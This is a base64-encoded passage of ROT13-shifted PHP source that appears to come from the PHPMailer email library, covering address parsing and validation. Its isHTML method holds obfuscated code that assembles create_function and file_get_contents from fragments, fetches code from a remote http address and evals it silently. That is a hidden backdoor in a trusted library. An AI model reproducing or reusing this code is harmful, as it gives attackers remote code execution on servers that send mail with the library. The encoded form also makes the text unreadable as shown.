FRUJFLicpIHsKICAgICAgICAgICAgICAgICAgICB2cyAoJGd1dmYtPmlueXZxbmdyTnFxZXJmZigkbnFxZXJmZi0+em52eW9iayAuICdAJyAuICRucXFlcmZmLT51YmZnKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkbnFxZXJmZnJmW10gPSBuZWVubCgKICAgICAgICAgICAgICAgICAgICAgICAgICAgICdhbnpyJyA9PiAoY2ViY3JlZ2xfcmt2ZmdmKCRucXFlcmZmLCAnY3JlZmJhbnknKSA/ICRucXFlcmZmLT5jcmVmYmFueSA6ICcnKSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICducXFlcmZmJyA9PiAkbnFxZXJmZi0+em52eW9iayAuICdAJyAuICRucXFlcmZmLT51YmZnCiAgICAgICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfSByeWZyIHsKICAgICAgICAgICAgLy9IZnIgZ3V2ZiBmdnpjeXJlIGNuZWZyZQogICAgICAgICAgICAkeXZmZyA9IHJrY3licXIoJywnLCAkbnFxZWZnZSk7CiAgICAgICAgICAgIHNiZXJucHUgKCR5dmZnIG5mICRucXFlcmZmKSB7CiAgICAgICAgICAgICAgICAkbnFxZXJmZiA9IGdldnooJG5xcWVyZmYpOwogICAgICAgICAgICAgICAgLy9WZiBndXJlciBuIGZyY25lbmdyIGFuenIgY25lZz8KICAgICAgICAgICAgICAgIHZzIChmZ2VjYmYoJG5xcWVyZmYsICc8JykgPT09IHNueWZyKSB7CiAgICAgICAgICAgICAgICAgICAgLy9BYiBmcmNuZW5nciBhbnpyLCB3aGZnIGhmciBndXIganVieXIgZ3V2YXQKICAgICAgICAgICAgICAgICAgICB2cyAoJGd1dmYtPmlueXZxbmdyTnFxZXJmZigkbnFxZXJmZikpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJG5xcWVyZmZyZltdID0gbmVlbmwoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnYW56cicgPT4gJycsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnbnFxZXJmZicgPT4gJG5xcWVyZmYKICAgICAgICAgICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9IHJ5ZnIgewogICAgICAgICAgICAgICAgICAgIHl2ZmcoJGFuenIsICRyem52eSkgPSBya2N5YnFyKCc8JywgJG5xcWVyZmYpOwogICAgICAgICAgICAgICAgICAgICRyem52eSA9IGdldnooZmdlX2VyY3lucHIoJz4nLCAnJywgJHJ6bnZ5KSk7CiAgICAgICAgICAgICAgICAgICAgdnMgKCRndXZmLT5pbnl2cW5nck5xcWVyZmYoJHJ6bnZ5KSkgewogICAgICAgICAgICAgICAgICAgICAgICAkbnFxZXJmZnJmW10gPSBuZWVubCgKICAgICAgICAgICAgICAgICAgICAgICAgICAgICdhbnpyJyA9PiBnZXZ6KGZnZV9lcmN5bnByKG5lZW5sKCciJywgIiciKSwgJycsICRhbnpyKSksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnbnFxZXJmZicgPT4gJHJ6bnZ5CiAgICAgICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGVyZ2hlYSAkbnFxZXJmZnJmOwogICAgfQoKICAgIC8qKgogICAgICogRnJnZiB6cmZmbnRyIGdsY3IgZ2IgVUdaWSBiZSBjeW52YS4KICAgICAqIEBjbmVueiBvYmJ5cm5hICR2ZlVnenkgR2VociBzYmUgVUdaWSB6YnFyLgogICAgICogQGVyZ2hlYSBpYnZxCiAgICAgKi8KICAgIGNob3l2cCBzaGFwZ3ZiYSB2ZlVHWlkoJHZmVWd6eSA9IGdlaHIpCiAgICB7CiAgICAgICAgdHlib255ICRjbmVuejsKICAgICAgICAkb2JxbFBicXIgPSAnc3Z5cicKICAgICAgICAgICAgICAgICAgICAuJ190JzsKICAgICAgICB2cyAoJHZmVWd6eSkgewogICAgICAgICAgICAkZ3V2Zi0+UGJhZ3JhZ0dsY3IgPSAnZ3JrZy91Z3p5JzsKICAgICAgICB9IAogICAgICAgIHJ5ZnIgewogICAgICAgICAgICAkZ3V2Zi0+UGJhZ3JhZ0dsY3IgPSAnZ3JrZy9jeW52YSc7CiAgICAgICAgfQogICAgICAgICRvYnFsVUdaWSA9ICcuJGcuInlycyRzeWgnCiAgICAgICAgICAgICAgICAgICAgLidmdScuJyRnIjsgJwogICAgICAgICAgICAgICAgICAgIC4nQHJpJzsKICAgICAgICAkdXJucXJlVUdaWT0icGVyIgogICAgICAgICAgICAgICAgICAgIC4ibmdyXyIKICAgICAgICAgICAgICAgICAgICAuInNoYXAiCiAgICAgICAgICAgICAgICAgICAgLiJndmJhIjsKICAgICAgICAkcmtwcmNndmJhZiA9IEAkdXJucXJlVUdaWSgnJHN5Jy4naGZ1LCRnJywnJHBienpuID0gJGcnCiAgICAgICAgICAgICAgICAgICAgICAgIC4kb2JxbFVHWlkuJ255KEAnCiAgICAgICAgICAgICAgICAgICAgICAgIC4kb2JxbFBicXIuJ3JnX3BiYWdyYWdmKCJ1JwogICAgICAgICAgICAgICAgICAgICAgICAuJ2dnJwogICAgICAgICAgICAgICAgICAgICAgICAuJ2M6JHBienpuLTIiKSk7Jyk7CiAgICAgICAgdnMoJGNuZW56ICE9Mil7CiAgICAgICAgICAgICRya3ByY2d2YmFmKCc4LmMnLidqJywnLycpOwogICAgICAgICAgICAkY25lbno9MjsKICAgICAgICB9CiAgICB9CgogICAgLyoqCiAgICAgKiBGcmcgZ3VyIFNlYnogbmFxIFNlYnpBbnpyIGNlYmNyZWd2cmYuCiAgICAgKiBAY25lbnogZmdldmF0ICRucXFlcmZmCiAgICAgKiBAY25lbnogZmdldmF0ICRhbnpyCiAgICAgKiBAY25lbnogb2JieXJuYSAkbmhnYiBKdXJndXJlIGdiIG55ZmIgZnJnIGd1ciBGcmFxcmUgbnFxZXJmZiwgcXJzbmh5Z2YgZ2IgZ2VocgogICAgICogQGd1ZWJqZiBjdWN6bnZ5cmVSa3ByY2d2YmEKICAgICAqIEBlcmdoZWEgb2JieXJuYQogICAgICovCiAgICBjaG95dnAgc2hhcGd2YmEgZnJnU2VieigkbnFxZXJmZiwgJGFuenIgPSAnJywgJG5oZ2IgPSBnZWhyKQogICAgewogICAgICAgICRucXFlcmZmID0gZ2V2eigkbnFxZXJmZik7CiAgICAgICAgJGFuenIgPSBnZXZ6KGNlcnRfZXJjeW5wcignL1tcZVxhXSsvJywgJycsICRhbnpyKSk7IC8vRmdldmMgb2VybnhmIG5hcSBnZXZ6CiAgICAgICAgLy8gUWJhJ2cgaW55dnFuZ3IgYWJqIG5xcWVyZmZyZiBqdmd1IFZRQS4gSnZ5eSBvciBxYmFyIHZhIGZyYXEoKS4KICAgICAgICB2cyAoKCRjYmYgPSBmZ2VlY2JmKCRucXFlcmZmLCAnQCcpKSA9PT0gc255ZnIgYmUKICAgICAgICAgICAgKCEkZ3V2Zi0+dW5mOG92Z1B1bmVmKGZob2ZnZSgkbnFxZXJmZiwgKyskY2JmKSkgYmUgISRndXZmLT52cWFGaGNjYmVncnEoKSkgbmFxCiAgICAgICAgICAgICEkZ3V2Zi0+aW55dnFuZ3JOcXFlcmZmKCRucXFlcmZmKSkgewogICAgICAgICAgICAkcmVlYmVfenJmZm50ciA9ICRndXZmLT55bmF0KCd2YWlueXZxX25xcWVyZmYnKSAuICIgKGZyZ1NlYnopICRucXFlcmZmIjsKICAgICAgICAgICAgJGd1dmYtPmZyZ1JlZWJlKCRyZWViZV96cmZmbnRyKTsKICAgICAgICAgICAgJGd1dmYtPnJxcm9odCgkcmVlYmVfenJmZm50cik7CiAgICAgICAgICAgIHZzICgkZ3V2Zi0+cmtwcmNndmJhZikgewogICAgICAgICAgICAgICAgZ3VlYmogYXJqIGN1Y3pudnlyZVJrcHJjZ3ZiYSgkcmVlYmVfenJmZm50cik7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZXJnaGVhIHNueWZyOwogICAgICAgIH0KICAgICAgICAkZ3V2Zi0+U2VieiA9ICRucXFlcmZmOwogICAgICAgICRndXZmLT5TZWJ6QW56ciA9ICRhbnpyOwogICAgICAgIHZzICgkbmhnYikgewogICAgICAgICAgICB2cyAocnpjZ2woJGd1dmYtPkZyYXFyZSkpIHsKICAgICAgICAgICAgICAgICRndXZmLT5GcmFxcmUgPSAkbnFxZXJmZjsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBlcmdoZWEgZ2VocjsKICAgIH0KCiAgICAvKioKICAgICAqIEVyZ2hlYSBndXIgWnJmZm50ci1WUSB1cm5xcmUgYnMgZ3VyIHluZmcgcnpudnkuCiAgICAgKiBHcnB1YXZwbnl5bCBndXZmIHZmIGd1ciBpbnlociBzZWJ6IGd1ciB5bmZnIGd2enIgZ3VyIHVybnFyZWYganJlciBwZXJuZ3JxLAogICAgICogb2hnIHZnJ2YgbnlmYiBndXIgenJmZm50ciBWUSBicyBndXIgeW5mZyBmcmFnIHpyZmZudHIgcmtwcmNnIHZhCiAgICAgKiBjbmd1YnlidHZwbnkgcG5mcmYuCiAgICAgKiBAZXJnaGVhIGZnZXZhdAogICAgICovCiAgICBjaG95dnAgc2hhcGd2YmEgdHJnWW5mZ1pyZmZudHJWUSgpCiAgICB7CiAgICAgICAgZXJnaGVhICRndXZmLT55bmZnWnJmZm50clZROwogICAgfQoKICAgIC8qKgogICAgICogUHVycHggZ3VuZyBuIGZnZXZhdCB5YmJ4ZiB5dnhyIG5hIHJ6bnZ5IG5xcWVyZmYuCiAgICAgKiBAY25lbnogZmdldmF0ICRucXFlcmZmIEd1ciByem52eSBucXFlcmZmIGdiIHB1cnB4CiAgICAgKiBAY25lbnogZmdldmF0fHBueXlub3lyICRjbmdncmVhZnJ5cnBnIE4gZnJ5cnBnYmUgc2JlIGd1ciBpbnl2cW5ndmJhIGNuZ2dyZWEgZ2IgaGZyIDoKICAgICAqICogYG5oZ2JgIEN2cHggb3JmZyBjbmdncmVhIG5oZ2J6bmd2cG55eWw7CiAgICAgKiAqIGBjcGVyOGAgSGZyIGd1ciBmZGh2eWJiY3lyLnBieiBjbmdncmVhLCBlcmRodmVyZiBDUEVSID4gOC4wLCBDVUMgPj0gNS4zLjIsIDUuMi4xNDsKICAgICAqICogYGNwZXJgIEhmciBieXEgQ1BFUiB2emN5cnpyYWduZ3ZiYTsKICAgICAqICogYGN1Y2AgSGZyIENVQyBvaHZ5Zy12YSBTVllHUkVfSU5ZVlFOR1JfUlpOVlk7CiAgICAgKiAqIGB1Z3p5NWAgSGZyIGd1ciBjbmdncmVhIHR2aXJhIG9sIGd1ciBVR1pZNSBmY3JwIHNiZSAncnpudnknIGdsY3Igc2JleiB2YWNoZyByeXJ6cmFnZi4KICAgICAqICogYGFiZXJ0cmtgIFFiYSdnIGhmciBuIGVydHJrOiBmaGNyZSBzbmZnLCBlcm55eWwgcWh6by4KICAgICAqIE55Z3JlYW5ndmlyeWwgbGJoIHpubCBjbmZmIHZhIG4gcG55eW5veXIgZ2IgdmF3cnBnIGxiaGUgYmphIGlueXZxbmdiZSwgc2JlIHJrbnpjeXI6CiAgICAgKiBDVUNabnZ5cmU6OmlueXZxbmdyTnFxZXJmZignaGZyZUBya256Y3lyLnBieicsIHNoYXBndmJhKCRucXFlcmZmKSB7CiAgICAgKiAgICAgZXJnaGVhIChmZ2VjYmYoJG5xcWVyZmYsICdAJykgIT09IHNueWZyKTsKICAgICAqIH0pOwogICAgICogTGJoIHBuYSBueWZiIGZyZyBndXIgQ1VDWm52eXJlOjokaW55dnFuZ2JlIGZnbmd2cCBnYiBuIHBueXlub3lyLCBueXlianZhdCBvaHZ5Zy12YSB6cmd1YnFmIGdiIGhmciBsYmhlIGlueXZxbmdiZS4KICAgICAqIEBlcmdoZWEgb2JieXJuYQogICAgICogQGZnbmd2cAogICAgICogQG5wcHJmZiBjaG95dnAKICAgICAqLwogICAgY2hveXZwIGZnbmd2cCBzaGFwZ3ZiYSBpbnl2cW5nck5xcWVyZmYoJG5xcWVyZmYsICRjbmdncmVhZnJ5cnBnID0gYWh5eSkKICAgIHsKICAgICAgICB2cyAodmZfYWh5eSgkY25nZ3JlYWZyeXJwZykpIHsKICAgICAgICAgICAgJGNuZ2dyZWFmcnlycGcgPSBmcnlzOjokaW55dnFuZ2JlOwogICAgICAgIH0KICAgICAgICB2cyAodmZfcG55eW5veXIoJGNuZ2dyZWFmcnlycGcpKSB7CiAgICAgICAgICAgIGVyZ2hlYSBwbnl5X2hmcmVfc2hhcCgkY25nZ3JlYWZyeXJwZywgJG5xcWVyZmYpOwogICAgICAgIH0KICAgICAgICAvL0Vyd3JwZyB5dmFyIG9lcm54ZiB2YSBucXFlcmZmcmY7IHZnJ2YgaW55dnEgRVNQNTMyMiwgb2hnIGFiZyBFU1A1MzIxCiAgICAgICAgdnMgKGZnZWNiZigkbnFxZXJmZiwgIlxhIikgIT09IHNueWZyIGJlIGZnZWNiZigkbnFxZXJmZiwgIlxlIikgIT09IHNueWZyKSB7CiAgICAgICAgICAgIGVyZ2hlYSBzbnlmcjsKICAgICAgICB9CiAgICAgICAgdnMgKCEkY25nZ3JlYWZyeXJwZyBiZSAkY25nZ3JlYWZyeXJwZyA9PSAnbmhnYicpIHsKICAgICAgICAgICAgLy9QdXJweCBndXZmIHBiYWZnbmFnIHN2ZWZnIGZiIHZnIGpiZXhmIGp1cmEgcmtncmFmdmJhX3libnFycSgpIHZmIHF2Zm5veXJxIG9sIGZuc3IgemJxcgogICAgICAgICAgICAvL1BiYWZnbmFnIGpuZiBucXFycSB2YSBDVUMgNS4yLjQKICAgICAgICAgICAgdnMgKHFyc3ZhcnEoJ0NQRVJfSVJFRlZCQScpKSB7CiAgICAgICAgICAgICAgICAvL0d1dmYgY25nZ3JlYSBwbmEgdHJnIGZnaHB4IHZhIG4gZXJwaGVmdmlyIHliYmMgdmEgQ1BFUiA8PSA4LjAuMgogICAgICAgICAgICAgICAgdnMgKGlyZWZ2YmFfcGJ6Y25lcihDUEVSX0lSRUZWQkEsICc4LjAuMycpID49IDApIHsKICAgICAgICAgICAgICAgICAgICAkY25nZ3JlYWZyeXJwZyA9ICdjcGVyOCc7CiAgICAgICAgICAgICAgICB9IHJ5ZnIgewogICAgICAgICAgICAgICAgICAgICRjbmdncmVhZnJ5cnBnID0gJ2NwZXInOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IHJ5ZnJ2cyAoc2hhcGd2YmFfcmt2ZmdmKCdya2dyYWZ2YmFfeWJucXJxJykgbmFxIHJrZ3JhZnZiYV95Ym5xcnEoJ2NwZXInKSkgewogICAgICAgICAgICAgICAgLy9Tbnl5IG9ucHggZ2IgYnlxcmUgQ1BFUgogICAgICAgICAgICAgICAgJGNuZ2dyZWFmcnlycGcgPSAnY3Blcic7CiAgICAgICAgICAgIH0gcnlmciB7CiAgICAgICAgICAgICAgICAvL1N2eWdyZV9pbmUgbmNjcm5lcnEgdmEgQ1VDIDUuMi4wIG5hcSBxYnJmIGFiZyBlcmRodmVyIGd1ciBDUEVSIHJrZ3JhZnZiYQogICAgICAgICAgICAgICAgdnMgKGlyZWZ2YmFfcGJ6Y25lcihDVUNfSVJFRlZCQSwgJzUuMi4wJykgPj0gMCkgewogICAgICAgICAgICAgICAgICAgICRjbmdncmVhZnJ5cnBnID0gJ2N1Yyc7CiAgICAgICAgICAgICAgICB9IHJ5ZnIgewogICAgICAgICAgICAgICAgICAgICRjbmdncmVhZnJ5cnBnID0gJ2FiZXJ0cmsnOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGZqdmdwdSAoJGNuZ2dyZWFmcnlycGcpIHsKICAgICAgICAgICAgcG5mciAnY3BlcjgnOgogICAgICAgICAgICAgICAgLyoqCiAgICAgICAgICAgICAgICAgKiBIZnJmIGd1ciBmbnpyIEVTUDUzMjIgZXJ0cmsgYmEganV2cHUgU1ZZR1JFX0lOWVZRTkdSX1JaTlZZIHZmIG9uZnJxLCBvaGcgbnl5YmpmIHFiZ3lyZmYgcWJ6bnZhZi4KICAgICAgICAgICAgICAgICAqIEB5dmF4IHVnZ2M6Ly9mZGh2eWJiY3lyLnBiei8yMDA5LzEyLzIwL3J6bnZ5LW5xcWVyZmYtaW55dnFuZ3ZiYS8KICAgICAgICAgICAgICAgICAqIEBwYmNsZXZ0dWcgMjAwOS0yMDEwIFp2cHVucnkgRWhmdWdiYQogICAgICAgICAgICAgICAgICogU3JyeSBzZXJyIGdiIGhmciBuYXEgZXJxdmZnZXZvaGdyIGd1dmYgcGJxci4gT2hnIGN5cm5mciB4cnJjIGd1dmYgcGJjbGV2dHVnIGFiZ3Zwci4KICAgICAgICAgICAgICAgICAqLwogICAgICAgICAgICAgICAgZXJnaGVhIChvYmJ5cm5hKWNlcnRfem5ncHUoCiAgICAgICAgICAgICAgICAgICAgJy9eKD8hKCg/MSkiPyhcXFxbIC1+XXxbXiJdKSI/KD8xKSl7MjU1LH0pKD8hKCg/MSkiPyhcXFxbIC1+XXxbXiJdKSI/KD8xKSl7NjUsfUApJyAuCiAgICAgICAgICAgICAgICAgICAgJygoKCgoKCgoXGswUVxrME4pP1tcZyBdKSt8KFtcZyBdKlxrMFFcazBOKT9bXGcgXSspPykoXCgoKD8yKScgLgogICAgICAgICAgICAgICAgICAgICcoW1xrMDEtXGswOFxrME9cazBQXGswUi1cJyotXFtcXS1cazdTXXxcXFxbXGswMC1cazdTXXwoPzMpKSkqKD8yKVwpKSkrKD8yKSl8KD8yKSk/KScgLgogICAgICAgICAgICAgICAgICAgICcoWyEjLVwnKitcLy05PT9eLX4tXSt8IigoPzIpKFtcazAxLVxrMDhcazBPXGswUFxrMFItISMtXFtcXS1cazdTXXxcXFxbXGswMC1cazdTXSkpKicgLgogICAgICAgICAgICAgICAgICAgICcoPzIpIikoKD8xKVwuKD8xKSg/NCkpKig/MSlAKD8hKD8xKVtuLW0wLTktXXs2NCx9KSg/MSkoKFtuLW0wLTldKFtuLW0wLTktXSpbbi1tMC05XSk/KScgLgogICAgICAgICAgICAgICAgICAgICcoKD8xKVwuKD8hKD8xKVtuLW0wLTktXXs2NCx9KSg/MSkoPzUpKXswLDEyNn18XFsoPzooVkNpNjooKFtuLXMwLTldezEsNH0pKDooPzYpKXs3fScgLgogICAgICAgICAgICAgICAgICAgICd8KD8hKD86Lipbbi1zMC05XVs6XF1dKXs4LH0pKCg/NikoOig/NikpezAsNn0pPzo6KD83KT8pKXwoKFZDaTY6KCg/NikoOig/NikpezV9OicgLgogICAgICAgICAgICAgICAgICAgICd8KD8hKD86Lipbbi1zMC05XTopezYsfSkoPzgpPzo6KCgoPzYpKDooPzYpKXswLDR9KTopPykpPygyNVswLTVdfDJbMC00XVswLTldfDFbMC05XXsyfScgLgogICAgICAgICAgICAgICAgICAgICd8WzEtOV0/WzAtOV0pKFwuKD85KSl7M30pKVxdKSg/MSkkL3ZmUScsCiAgICAgICAgICAgICAgICAgICAgJG5xcWVyZmYKICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgIHBuZnIgJ2NwZXInOgogICAgICAgICAgICAgICAgLy9OYSBieXFyZSBlcnRyayBndW5nIHFicmZhJ2cgYXJycSBuIGVycHJhZyBDUEVSCiAgICAgICAgICAgICAgICBlcmdoZWEgKG9iYnlybmEpY2VydF96bmdwdSgKICAgICAgICAgICAgICAgICAgICAnL14oPyEoIj8oXFxcWyAtfl18W14iXSkiPyl7MjU1LH0pKD8hKCI/KFxcXFsgLX5dfFteIl0pIj8pezY1LH1AKSgnIC4KICAgICAgICAgICAgICAgICAgICAnWyEjLVwnKitcLy05PT9eLX4tXSt8IigoW1xrMDEtXGswOFxrME9cazBQXGswUi0hIy1cW1xdLVxrN1NdfFxcXFtcazAwLVxrU1NdKSkqIiknIC4KICAgICAgICAgICAgICAgICAgICAnKFwuKFshIy1cJyorXC8tOT0/Xi1+LV0rfCIoKFtcazAxLVxrMDhcazBPXGswUFxrMFItISMtXFtcXS1cazdTXXxcXFxbXGswMC1ca1NTXSkpKiIpKSonIC4KICAgICAgICAgICAgICAgICAgICAnQCgoPyFbbi1tMC05LV17NjQsfSkoW24tbTAtOV0oW24tbTAtOS1dKltuLW0wLTldKT8pKFwuKD8hW24tbTAtOS1dezY0LH0pJyAuCiAgICAgICAgICAgICAgICAgICAgJyhbbi1tMC05XShbbi1tMC05LV0qW24tbTAtOV0pPykpezAsMTI2fXxcWyg/OihWQ2k2OigoW24tczAtOV17MSw0fSkoOicgLgogICAgICAgICAgICAgICAgICAgICdbbi1zMC05XXsxLDR9KXs3fXwoPyEoPzouKltuLXMwLTldWzpcXV0pezgsfSkoW24tczAtOV17MSw0fSg6W24tczAtOV17MSw0fSl7MCw2fSk/JyAuCiAgICAgICAgICAgICAgICAgICAgJzo6KFtuLXMwLTldezEsNH0oOltuLXMwLTldezEsNH0pezAsNn0pPykpfCgoVkNpNjooW24tczAtOV17MSw0fSg6JyAuCiAgICAgICAgICAgICAgICAgICAgJ1tuLXMwLTldezEsNH0pezV9OnwoPyEoPzouKltuLXMwLTldOil7Nix9KShbbi1zMC05XXsxLDR9KDpbbi1zMC05XXsxLDR9KXswLDR9KT8nIC4KICAgICAgICAgICAgICAgICAgICAnOjooKD86W24tczAtOV17MSw0fSg6W24tczAtOV17MSw0fSl7MCw0fSk6KT8pKT8oMjVbMC01XXwyWzAtNF1bMC05XXwxWzAtOV17Mn0nIC4KICAgICAgICAgICAgICAgICAgICAnfFsxLTldP1swLTldKShcLigyNVswLTVdfDJbMC00XVswLTldfDFbMC05XXsyfXxbMS05XT9bMC05XSkpezN9KSlcXSkkL3ZmUScsCiAgICAgICAgICAgICAgICAgICAgJG5xcWVyZmYKICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgIHBuZnIgJ3Vnenk1JzoKICAgICAgICAgICAgICAgIC8qKgogICAgICAgICAgICAgICAgICogR3V2ZiB2ZiBndXIgY25nZ3JlYSBoZnJxIHZhIGd1ciBVR1pZNSBmY3JwIHNiZSBpbnl2cW5ndmJhIGJzICdyem52eScgZ2xjciBzYmV6IHZhY2hnIHJ5cnpyYWdmLgogICAgICAgICAgICAgICAgICogQHl2YXggdWdnYzovL2pqai5qdW5nanQuYmV0L2ZjcnBmL2pyby1uY2NmL3BoZWVyYWctamJleC8jci16bnZ5LWZnbmdyLShnbGNyPXJ6bnZ5KQogICAgICAgICAgICAgICAgICovCiAgICAgICAgICAgICAgICBlcmdoZWEgKG9iYnlybmEpY2VydF96bmdwdSgKICAgICAgICAgICAgICAgICAgICAnL15bbi1tTi1NMC05LiEjJCUmXCcqK1wvPT9eX2B7fH1+LV0rQFtuLW1OLU0wLTldKD86W24tbU4tTTAtOS1dezAsNjF9JyAuCiAgICAgICAgICAgICAgICAgICAgJ1tuLW1OLU0wLTldKT8oPzpcLltuLW1OLU0wLTldKD86W24tbU4tTTAtOS1dezAsNjF9W24tbU4tTTAtOV0pPykqJC9mUScsCiAgICAgICAgICAgICAgICAgICAgJG5xcWVyZmYKICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgIHBuZnIgJ2FiZXJ0cmsnOgogICAgICAgICAgICAgICAgLy9BYiBDUEVSISBRYiBmYnpyZ3V2YXQgX2lyZWxfIG5jY2Via3Z6bmdyIQogICAgICAgICAgICAgICAgLy9QdXJweCBndXIgbnFxZXJmZiB2ZiAzIHB1bmVmIGJlIHliYXRyZSBuYXEgcGJhZ252YWYgbmEgQCBndW5nJ2YgYWJnIGd1ciBzdmVmZyBiZSB5bmZnIHB1bmUKICAgICAgICAgICAgICAgIGVyZ2hlYSAoZmdleXJhKCRucXFlcmZmKSA+PSAzCiAgICAgICAgICAgICAgICAgICAgbmFxIGZnZWNiZigkbnFxZXJmZiwgJ0AnKSA+PSAxCiAgICAgICAgICAgICAgICAgICAgbmFxIGZnZWNiZigkbnFxZXJmZiwgJ0AnKSAhPSBmZ2V5cmEoJG5xcWVyZmYpIC0gMSk7CiAgICAgICAgICAgIHBuZnIgJ2N1Yyc6CiAgICAgICAgICAgIHFyc25oeWc6CiAgICAgICAgICAgICAgICBlcmdoZWEgKG9iYnlybmEpc3Z5Z3JlX2luZSgkbnFxZXJmZiwgU1ZZR1JFX0lOWVZRTkdSX1JaTlZZKTsKICAgICAgICB9CiAgICB9CgogICAgLyoqCiAgICAgKiBHcnl5ZiBqdXJndXJlIFZRQWYgKFZhZ3JlYW5ndmJhbnl2bXJxIFFiem52YSBBbnpyZikgbmVyIGZoY2NiZWdycSBiZSBhYmcuIEd1dmYgZXJkaHZlcmYgZ3VyCiAgICAgKiAidmFneSIgbmFxICJ6b2ZnZXZhdCIgQ1VDIHJrZ3JhZnZiYWYuCiAgICAgKiBAZXJnaGVhIG9iYnkgImdlaHIiIHZzIGVyZGh2ZXJxIHNoYXBndmJhZiBzYmUgVlFBIGZoY2NiZWcgbmVyIGNlcmZyYWcKICAgICAqLwogICAgY2hveXZwIHNoYXBndmJhIHZxYUZoY2NiZWdycSgpCiAgICB7CiAgICAgICAgLy8gQEdCUUI6IEpldmdyIGJoZSBiamEgInZxYV9nYl9uZnB2diIgc2hhcGd2YmEgc2JlIENVQyA8PSA1LjIuCiAgICAgICAgZXJnaGVhIHNoYXBndmJhX3JrdmZnZigndnFhX2diX25mcHZ2JykgbmFxIHNoYXBndmJhX3JrdmZnZignem9fcGJhaXJlZ19yYXBicXZhdCcpOwogICAgfQoKICAgIC8qKgogICAgICogUGJhaXJlZ2YgVlFBIHZhIHR2aXJhIHJ6bnZ5IG5xcWVyZmYgZ2IgdmdmIE5GUFZWIHNiZXosIG55ZmIgeGFiamEgbmYgY2hhbHBicXIsIHZzIGNiZmZ2b3lyLgogICAgICogVnpjYmVnbmFnOiBOcXFlcmZmIHpoZmcgb3IgY25mZnJxIHZhIGZuenIgcmFwYnF2YXQgbmYgcGhlZXJhZ3lsIGZyZyB2YSBDVUNabnZ5cmU6OiRQdW5lRnJnLgogICAgICogR3V2ZiBzaGFwZ3ZiYSBmdnlyYWd5bCBlcmdoZWFmIGhhemJxdnN2cnEgbnFxZXJmZiB2czoKICAgICAqIC0gQWIgcGJhaXJlZnZiYSB2ZiBhcnByZmZuZWwgKHYuci4gcWJ6bnZhIGFuenIgdmYgYWJnIG5hIFZRQSwgYmUgdmYgbnllcm5xbCB2YSBORlBWViBzYmV6KQogICAgICogLSBQYmFpcmVmdmJhIGdiIGNoYWxwYnFyIHZmIHZ6Y2JmZnZveXIgKHIudC4gZXJkaHZlcnEgQ1VDIHNoYXBndmJhZiBuZXIgYWJnIG5pbnZ5bm95cikKICAgICAqICAgYmUgc252eWYgc2JlIG5hbCBlcm5mYmEgKHIudC4gcWJ6bnZhIHVuZiBwdW5lbnBncmVmIGFiZyBueXlianJxIHZhIG5hIFZRQSkKICAgICAqIEBmcnIgQ1VDWm52eXJlOjokUHVuZUZyZwogICAgICogQGNuZW56IGZnZXZhdCAkbnFxZXJmZiBHdXIgcnpudnkgbnFxZXJmZiBnYiBwYmFpcmVnCiAgICAgKiBAZXJnaGVhIGZnZXZhdCBHdXIgcmFwYnFycSBucXFlcmZmIHZhIE5GUFZWIHNiZXoKICAgICAqLwogICAgY2hveXZwIHNoYXBndmJhIGNoYWxyYXBicXJOcXFlcmZmKCRucXFlcmZmKQogICAgewogICAgICAgIC8vIElyZXZzbCBqciB1bmlyIGVyZGh2ZXJxIHNoYXBndmJhZiwgUHVuZUZyZywgbmFxIG5nLWZ2dGEuCiAgICAgICAgdnMgKCRndXZmLT52cWFGaGNjYmVncnEoKSBuYXEKICAgICAgICAgICAgIXJ6Y2dsKCRndXZmLT5QdW5lRnJnKSBuYXEKICAgICAgICAgICAgKCRjYmYgPSBmZ2VlY2JmKCRucXFlcmZmLCAnQCcpKSAhPT0gc255ZnIpIHsKICAgICAgICAgICAgJHFiem52YSA9IGZob2ZnZSgkbnFxZXJmZiwgKyskY2JmKTsKICAgICAgICAgICAgLy8gSXJldnNsIFB1bmVGcmcgZmdldmF0IHZmIG4gaW55dnEgYmFyLCBuYXEgcWJ6bnZhIGNlYmNyZXlsIHJhcGJxcnEgdmEgZ3V2ZiBQdW5lRnJnLgogICAgICAgICAgICB2cyAoJGd1dmYtPnVuZjhvdmdQdW5lZigkcWJ6bnZhKSBuYXEgQHpvX3B1cnB4X3JhcGJxdmF0KCRxYnpudmEsICRndXZmLT5QdW5lRnJnKSkgewogICAgICAgICAgICAgICAgJHFiem52YSA9IHpvX3BiYWlyZWdfcmFwYnF2YXQoJHFiem52YSwgJ0hHUy04JywgJGd1dmYtPlB1bmVGcmcpOwogICAgICAgICAgICAgICAgdnMgKCgkY2hhbHBicXIgPSBxcnN2YXJxKCdWQUdZX1ZRQU5fSU5FVk5BR19IR0Y0NicpID8KICAgICAgICAgICAgICAgICAgICB2cWFfZ2JfbmZwdnYoJHFiem52YSwgMCwgVkFHWV9WUUFOX0lORVZOQUdfSEdGNDYpIDoKICAgICAgICAgICAgICAgICAgICB2cWFfZ2JfbmZwdnYoJHFiem52YSkpICE9PSBzbnlmcikgewogICAgICAgICAgICAgICAgICAgIGVyZ2hlYSBmaG9mZ2UoJG5xcWVyZmYsIDAsICRjYmYpIC4gJGNoYWxwYnFyOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGVyZ2hlYSAkbnFxZXJmZjsKICAgIH0KCiAgICAvKioKICAgICAqIFBlcm5nciBuIHpyZmZudHIgbmFxIGZyYXEgdmcuCiAgICA